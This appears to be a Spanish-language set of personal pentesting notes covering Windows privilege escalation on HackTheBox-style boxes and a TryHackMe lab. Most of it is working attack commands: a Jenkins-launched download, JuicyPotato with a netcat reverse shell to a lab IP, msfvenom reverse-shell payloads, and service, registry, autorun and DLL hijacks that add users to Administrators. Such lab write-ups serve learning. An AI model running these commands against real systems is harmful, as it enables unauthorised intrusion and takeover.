Subido desde Jenkins con:
```bash
def var = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Invoke-WebRequest -Uri http://10.10.14.5:8081/jp.exe -OutFile jp.exe"'
var.execute().text
````
Subido también nc.exe y GetCLSID.ps1 (https://raw.githubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1)
Es un w10 pro según systeminfo. Desde https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro/ obtenemos un CLSID. Por ejemplo el "{8F5DF053-3013-4dd8-B5F4-88214E81C0CF}" de TrustedInstaller.
```bash
PS C:\Users\Administrator\.jenkins> . ./jp.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c "{8F5DF053-3013-4dd8-B5F4-88214E81C0CF}" -z
{8F5DF053-3013-4dd8-B5F4-88214E81C0CF};NT AUTHORITY\SYSTEM
````
```bash
./jp.exe -l 1337 -c '{03ca98d6-ff5d-49b8-abc6-03dd84127020}' -p c:\windows\system32\cmd.exe -a "/c c:\users\administrator\.jenkins\nc.exe -e cmd.exe 10.10.14.5 9999" -t *
```
Y funciona
Pero la flag de root te dice que está en otro sitio...
`find /n "root"` está tardando demasiado...
## RunAs - Access
### Enumeration
Puertos 21, 23 y 80.
En el 80, dirb ha sacado /aspnet_client/.
FTP tiene anonumous allowed.
Dos carpetas:
Backups
- backup.mdb (base de datos de Access. mdbopener.com no está funsionando)
mdbviewer.herokuapp.com. Tuve que descargarla lanzando en el ftp primero "binary".
Engineer
- Access Control.zip (con contraseña)
En la mdb, carpeta "auth_user":
admin:admin
engineer:access4u@security
backup_admin:admin
access4u@security es la pass del zip.
El zip saca un .pst
con readpst Access\ Control.pst podemos abrirlo y verlo:
From john@megacorp.com To security@accesscontrolsystems.com.
"The password for the 'security' account has been changed to 4Cc3ssC0ntr0ller. Please ensire this is passed on to your engineers. Regards, John."
con telnet entramos en una consola como el user access\security
### Privesc
cmdkey /list devuelve:
Currently stored credentials:
Target: Domain: interactive=ACCESS\Administrator
User: ACCESS\Administrator
Type: Domain Password
NOTA: runas ejecuta pero no printa nada.
Entonces la privesc se lanza con:
```bash
runas /savecred /user:ACCESS\Administrator "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"
```
## Registry - THM windowsprivescarena
Ahora entra en juego THM, con https://tryhackme.com/room/windowsprivescarena#
Levantamos una windows, accedemos por RDP con *user:password*.
Con xfreerdp da error, así que usamos rdesktop:
`rdesktop -u user -p password321 10.10.168.218`
### Enumeración - Autorun
Lanzamos
`C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe`
Que nos levanta una herramienta con mucha info sobre los procesos en ejecución, entre los que vemos uno llamado "My Program" y su ruta de instalación.
En la CMD ejecutamos entonces:
```bash
C:\Users\user>C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files\Autorun Program\program.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
```
Podemos ver que el grupo "Everyone" tiene permiso "FILE_ALL_ACCESS".
¿Cómo descubrirlo también?
Preparamos PowerUp con:
```bash
powershell.exe -ep bypass
. ./PowerUp.ps1
Invoke-AllChecks
```
Que devuelve algo similar a:
```bash
[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authentic
ated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
ServiceName : unquotedsvc
Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authentic
ated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart : True
ServiceName : unquotedsvc
Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart : True
[*] Checking service executable and argument permissions...
ServiceName : filepermsvc
Path : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile : C:\Program Files\File Permissions Service\filepermservice.exe
ModifiableFilePermissions : {ReadAttributes, ReadControl, Execute/Traverse, DeleteChild...}
ModifiableFileIdentityReference : Everyone
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'filepermsvc'
CanRestart : True
[*] Checking service permissions...
ServiceName : daclsvc
Path : "C:\Program Files\DACL Service\daclservice.exe"
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart : True
[*] Checking %PATH% for potentially hijackable DLL locations...
Permissions : {ReadAttributes, ReadControl, Execute/Traverse, WriteAttributes...}
ModifiablePath : C:\Temp
IdentityReference : NT AUTHORITY\Authenticated Users
%PATH% : C:\Temp
AbuseFunction : Write-HijackDll -DllPath 'C:\Temp\wlbsctrl.dll'
Permissions : {GenericWrite, Delete, GenericExecute, GenericRead}
ModifiablePath : C:\Temp
IdentityReference : NT AUTHORITY\Authenticated Users
%PATH% : C:\Temp
AbuseFunction : Write-HijackDll -DllPath 'C:\Temp\wlbsctrl.dll'
[*] Checking for AlwaysInstallElevated registry key...
AbuseFunction : Write-UserAddMSI
[*] Checking for Autologon credentials in registry...
[*] Checking for modifidable registry autoruns and configs...
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program
Path : "C:\Program Files\Autorun Program\program.exe"
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files\Autorun Program\program.exe; IdentityRe
ference=Everyone}
[*] Checking for modifiable schtask files/configs...
[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[*] Checking for cached Group Policy Preferences .xml files....
```
Y ahí, en "Checking for modifidable registry autoruns and configs" lo tenemos :)
### Explotación - Autorun
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=80 -f exe > rev.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
````
Lo subimos, lo ponemos en "C:\Program Files\Autorun Program".
Probamos que funciona:
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.8.32.108] from (UNKNOWN) [10.10.168.218] 49216
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
whoami
tcm-pc\user
```
Yay!
Sobreescribimos el program.exe que ya había en la carpeta Autorun con el nuevo (para esto necesitamos privs, no entiendo si me salté algo :c ).
EDIT: Creo que si en vez de descargar el archivo y moverlo, lo descargaramos directamente en la carpeta final, con el mismo nombre, sería como editarlo y sí colaría... Probar a ver.
Ahora cuando algún user hace login en el sistema, le sale un mensajito que dice "Are you sure you want to run this software?" intentando ejecutar el programa. Si le dan a Run, estamos dentro.
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.8.32.108] from (UNKNOWN) [10.10.168.218] 49279
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
tcm-pc\tcm
```
### Enumeración - AlwaysInstallElevated
Volvemos atrás, y nos logamos de nuevo como "user".
Notamos que el PowerUp.ps1 nos chivó esto también:
```bash
[*] Checking for AlwaysInstallElevated registry key...
AbuseFunction : Write-UserAddMSI
```
Que la forma de verlo ahora es viendo que estén a 1 los registros:
```bash
PS C:\Users\user> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
PS C:\Users\user> reg query HKCU\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
```
### Explotación - AlwaysInstallElevated
Como PowerUp.ps1 chivó que la función a abusar era "Write-UserAddMSI", vamos a verla:
(está dentro de PowerUp, así que hay que importarlo).
```bash
PS C:\Users\user\Desktop\Tools\PowerUp> powershell.exe -ep bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user\Desktop\Tools\PowerUp> . .\PowerUp.ps1
PS C:\Users\user\Desktop\Tools\PowerUp> write-useraddmsi
OutputPath
----------
UserAdd.msi
PS C:\Users\user\Desktop\Tools\PowerUp> ls
Directory: C:\Users\user\Desktop\Tools\PowerUp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/25/2022 12:13 PM 8256 checks.txt
-a--- 5/30/2017 2:35 AM 562841 PowerUp.ps1
-a--- 11/25/2022 12:38 PM 208896 UserAdd.msi
```
Si ejecutamos este nuevo archivito (UserAdd.msi) nos permitirá crear un usuario, definiendo su name, su pass y su grupo. Por defecto: "backdoor:password123:Administrators".
Ahora podemos entrar con este nuevo user, siendo Admin :)
```bash
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\backdoor>whoami
tcm-pc\backdoor
C:\Users\backdoor>hostname
TCM-PC
C:\Users\backdoor>
```
### AnotherWay - AlwaysInstallElevated
Podemos crear también una revshell con msfvenom en msi:
`msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=80 -f msi > rev.msi`
Y...
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.8.32.108] from (UNKNOWN) [10.10.168.218] 49317
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
````
Boh! Flipanding.
### Enumeración - regsvc
Vamos a ver si tenemos Full control en regsvc, que es el servicio main del registro:
```bash
PS C:\Users\user\Desktop\Tools\PowerUp> Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\services\regsvc | fl
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\regsvc
Owner : BUILTIN\Administrators
Group : NT AUTHORITY\SYSTEM
Access : Everyone Allow ReadKey
NT AUTHORITY\INTERACTIVE Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
Audit :
Sddl : O:BAG:SYD:P(A;CI;KR;;;WD)(A;CI;KA;;;IU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)
```
En este caso lo tenemos (menosmal, sino no tendría sentido esta box!): `NT AUTHORITY|INTERACTIVE Allow FullControl`. Parece ser que esos somos nosotros.
Va, según esta fuente:
https://www.compartir-tecnologias.es/respuesta/urgente-grupos-especiales-ayuda-200385971.html
```
Nt authority\authenticated users: Controla los permisos y procesos de cualquier usuario autentificado en esa maquina, que tenga una ID y una contraseña valida.
Nt authority\interactive, gestiona cualquier proceso fisico que no se este fisicamente realizando en el contexto del usuario autentificado localmente, (ej. comando "runas")
normalmente ambos "usuarios" estan incluidos en el grupo de "usuarios", puedes verificarlo con el siguiente comando:
"net localgroup usuarios"
```
Así que sí que podemos ser nosotros.
Podemos entonces añadir un ejecutable malicioso a este servicio para que lo ejecute por nosotros :)
### Explotación - regsvc
Nos traemos de la máquina windows el archivo windows_service.c
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ python -m pyftpdlib -p 21 --write
/home/aml/.local/lib/python3.10/site-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
warnings.warn("write permissions assigned to anonymous user.",
[I 2022-11-25 19:15:19] concurrency model: async
[I 2022-11-25 19:15:19] masquerade (NAT) address: None
[I 2022-11-25 19:15:19] passive ports: None
[I 2022-11-25 19:15:19] >>> starting FTP server on 0.0.0.0:21, pid=34038 <<<
[I 2022-11-25 19:15:22] 10.10.168.218:49353-[] FTP session opened (connect)
[I 2022-11-25 19:15:26] 10.10.168.218:49353-[anonymous] USER 'anonymous' logged in.
[I 2022-11-25 19:15:32] 10.10.168.218:49353-[anonymous] STOR /home/aml/TryHackMe/windows_service.c completed=1 bytes=2043 seconds=0.127
[I 2022-11-25 19:15:39] 10.10.168.218:49353-[anonymous] FTP session closed (disconnect).
^C[I 2022-11-25 19:16:21] received interrupt signal
[I 2022-11-25 19:16:21] >>> shutting down FTP server, 1 socket(s), pid=34038 <<<
```
```bash
PS C:\Users\user\Desktop\Tools\Source> ftp 10.8.32.108
Connected to 10.8.32.108.
220 pyftpdlib 1.5.7 ready.
User (10.8.32.108:(none)): anonymous
331 Username ok, send password.
Password:
230 Login successful.
ftp> put windows_service.c
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 2043 bytes sent in 0.05Seconds 43.47Kbytes/sec.
ftp> quit
221 Goodbye.
```
Y editaremos el script malicioso (que está configurado para lanzar un whoami) para que haga lo siguiente:
`cmd.exe /k net localgroup administrators user /add`
Además, lo compilamos para windows:
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ x86_64-w64-mingw32-gcc windows_service.c -o x.exe
┌──(aml㉿kali)-[~/TryHackMe]
└─$ ls
rev.exe rev.msi windows_service.c x.exe
```
Y lo subimos, y lo dejamos en C:\Temp.
Ahora vamos a añadirlo al servicio haciendo:
`reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f`
y lanzamos el servicio con `sc start regsvc`.
Haciendo un `net localgroup administrators` podemos ver que el user pertenece al grupo.
...
...
Pero a mi creo que no me ha funsionado :(
Importante hacerlo con cmd, no con PS. Pero algo del malware me ha fallado, porque ni lanzándolo con admin me mete en el grupo...
## Executable Files - THM windowsprivescarena
Seguimos en la misma room de THM.
```bash
┌──(aml㉿kali)-[~]
└─$ xfreerdp /u:user /v:10.10.193.68 /cert:ignore ## password321
```
### Enumeración
Cargamos PowerUp.ps1 y lanzamos el Invoke-AllChecks:
```powershell
PS C:\Users\user\Desktop\Tools\PowerUp> powershell -ep bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user\Desktop\Tools\PowerUp> . .\PowerUp.ps1
PS C:\Users\user\Desktop\Tools\PowerUp> Invoke-AllChecks
[ ... ]
[*] Checking service executable and argument permissions...
ServiceName : filepermsvc
Path : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile : C:\Program Files\File Permissions Service\filepermservice.exe
ModifiableFilePermissions : {ReadAttributes, ReadControl, Execute/Traverse, DeleteChild...}
ModifiableFileIdentityReference : Everyone
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'filepermsvc'
CanRestart : True
```
Otra forma es con *accesschk64.exe*:
```powershell
PS C:\Users\user\Desktop\Tools\Accesschk> .\accesschk64.exe -wvu "C:\Program FIles\File Permissions Service"
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program FIles\File Permissions Service\filepermservice.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
PS C:\Users\user\Desktop\Tools\Accesschk>
```
Y vemos que en "File Permissions Service" tenemos *FILE_ALL_ACCESS* para Everyone. Esoé! Que pasa, que dar con la tecla es complicao, así que el PowerUp ayuda paeso.
### Explotación
Sabiendo todo lo anterior, lo único que tenemos que hacer es subir un ejecutable a la máquina y sobreescribirlo en lugar del vulnerable (filepermservice.exe).
Vamos a crear el .exe con msfvenom:
```bash
┌──(aml㉿kali)-[~/HTB]
└─$ msfvenom -p windows/x64/exec CMD='cmd.exe /k "net localgroup administrators user /add" -f exe' > ../TryHackMe/useraddx64.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 327 bytes
```
Paramos el proceso a suplantar:
```batch
C:\Users\user>sc stop filepermsvc
SERVICE_NAME: filepermsvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
```
Y lo subimos, sobreescribiendolo:
Volvemos a levantar el proceso y... da error
```bash
C:\Users\user>sc start filepermsvc
[SC] StartService FAILED with error 216.
```
Parece ser que el exe de msfvenom no gusta. Vamos a probar con nuestro old *x.exe* a ver...
```bash
C:\Users\user>sc stop filepermsvc
SERVICE_NAME: filepermsvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Users\user>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
The command completed successfully.
C:\Users\user>sc start filepermsvc
SERVICE_NAME: filepermsvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2800
FLAGS :
C:\Users\user>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
user
The command completed successfully.
```
Ya pertenecemos a administrators!!
## StartUp Applications
Esto es bastante interesante, porque PowerUp.ps1 no chiva este fallo, así que hay que probarlo a mano siempre.
Gracias a dios, es solo mirar los permisos en una carpeta (y si tal, en sus archivos por si colara por ahí).
### Enumeración
Comprobamos qué permisos tenemos en los archivos de Startup.
```powershell
C:\Users\user>icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup BUILTIN\Users:(F)
TCM-PC\TCM:(I)(OI)(CI)(DE,DC)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
Everyone:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
```
La **F** significa Full Access, así que todos los pertenecientes a "BUILTIN\Users" (o sea, todos los usuarios) podemos escribir aquí, según parece... :)
### Explotación
Como siempre. Coger un exe malicioso, subirlo a esa carpeta y esperar a que haga login un administrador.
Vamos a probar con msfvenom para lanzar una revshell a ver si va bien:
`msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=80 -f exe > rev.exe`
Lo subimos a la máquina y lo pegamos en esa carpeta. Ponemos un nc escuchando. Hacemos logout de la máquina y login de nuevo:
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.8.32.108] from (UNKNOWN) [10.10.110.242] 49226
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
tcm-pc\tcm
C:\Windows\system32>hostname
hostname
TCM-PC
```
Fue fácil
## DLL Hijacking
### Enumeración
Abrimos la herramienta "Process Monitor" de Windows (no viene nativa) como admin para ver qué ocurre. Vamos a *Filters* y añadimos un filtro "Result - is - NAME NOT FOUND" como vemos en la imagen, y hacemos click en "Add":
Otro filtro con "Path - ends with - .dll". Damos apply y nos muestra unos pocos de dll's que matchean con lo que buscamos.
Al ser su resultado "NAME NOT FOUND" y estar intentando buscarlos, podemos intentar sobreescribir la DLL si podemos controlar el servicio y la ubicación tiene permisos de escritura.
Si paramos el servicio dllsvc y lo volvemos a lanzar (pensamiento mágico por ahora), veremos que aparecen nuevos procesos en el procmon:
Uno de lso notfound está en *C:\Program Files* y otro en *C:\Temp*. Estos suelen ser directorios con permisos de escritura :)
### Explotación
Vamos a coger el archivo *windows_dll.c*, a introducirle uno de nuestros payloads y a suplantar una de estas DLL. Let's go!
En el .c escribimos que añada nuestro user al grupo administrators, guardamos, compilamos, subimos, guardamos como *hijackme.dll* en c:\Temp
y...
Lo tenemos!
## Service permissions (Binary Paths)
### Enumeración
De forma manual podemos lanzar :
`accesschk64.exe -uvcw Everyone *`
* -u: No muestres errores ni findings negativos.
* -v: Verbose
* -c: Muestra el service name
* -w: Solo muestra objectos con permisos de escritura
* Everyone: El grupo con los permisos para todo lo anterior
```bash!
C:\Users\user\Desktop\Tools\Accesschk>accesschk64.exe -uvcw Everyone *
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
"SERVICE_CHANGE_CONFIG"
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
```
Desde PowerUp.ps1 podemos verlo en el apartado *Checking service permissions":
```bash
[*] Checking service permissions...
ServiceName : daclsvc
Path : "C:\Program Files\DACL Service\daclservice.exe"
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart : True
```
### Explotación PowerUp.ps1
Con *PowerUp.ps1* es bien simple. Solo hacer lo que nos chiva el AllChecks:
```bash!
PS C:\Users\user\Desktop\Tools\PowerUp> Invoke-ServiceAbuse -Name 'daclsvc'
ServiceAbused Command
------------- -------
daclsvc net user john Password123! /add && n...
PS C:\Users\user\Desktop\Tools\PowerUp> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
The command completed successfully.
```
E ya.
### Explotación a mano
Más a manubrio se haría así:
Vamos a ver más info sobre el ejecutable:
```bash
C:\Users\user\Desktop\Tools\Accesschk>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
```
Como tenemos el permiso SERVICE_CHANGE_CONFIG, podemos cambiar la configuración que muestra este último comando, por ejemplo cambiando el ejecutable a lanzar... :)
```bash
C:\Users\user\Desktop\Tools\Accesschk>sc config daclsvc binpath= "net localgroup
administrators user /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\user\Desktop\Tools\Accesschk>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
The command completed successfully.
C:\Users\user\Desktop\Tools\Accesschk>sc start daclsvc
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Users\user\Desktop\Tools\Accesschk>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
user
The command completed successfully.
```
Ya pertenece *user* a los administrators :)
## Service permissions (Unquoted Paths)
### Enumeración
Parecido al anterior, pero en este caso lo que ocurre es que el path no está entre comillas. Podemos verlo en *PowerUp.ps1* en:
```bash
[*] Checking for unquoted service paths...
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\;IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
ServiceName : unquotedsvc
Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\;IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart : True
ServiceName : unquotedsvc
Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart : True
```
### Explotación
El truco aquí está en que, cuando intenta lanzar el comando "C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe", primero va a intentar lanzar C.exe, luego C:\Program.exe, luego C:\ Program Files\Unquoted.exe, etc...
Vamos a ver entonces donde tenemos permisos de escritura, y crearemos ahí un .exe malicioso.
```bash
┌──(aml㉿kali)-[~/TryHackMe]
└─$ i686-w64-mingw32-gcc windows_service.c -o useradd.exe
```
```bash
C:\Users\user\Desktop\Tools\Accesschk>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
The command completed successfully.
C:\Users\user\Desktop\Tools\Accesschk>sc start daclsvc
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Users\user\Desktop\Tools\Accesschk>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
TCM
user
The command completed successfully.
```
Y ya!
## Challenge Steel Mountain (THM)
No tengo el premium de THM, así que pa otro día. De todos modos ya lo hice en el pasado, parece ser..
Sign in with Wallet
Connect another wallet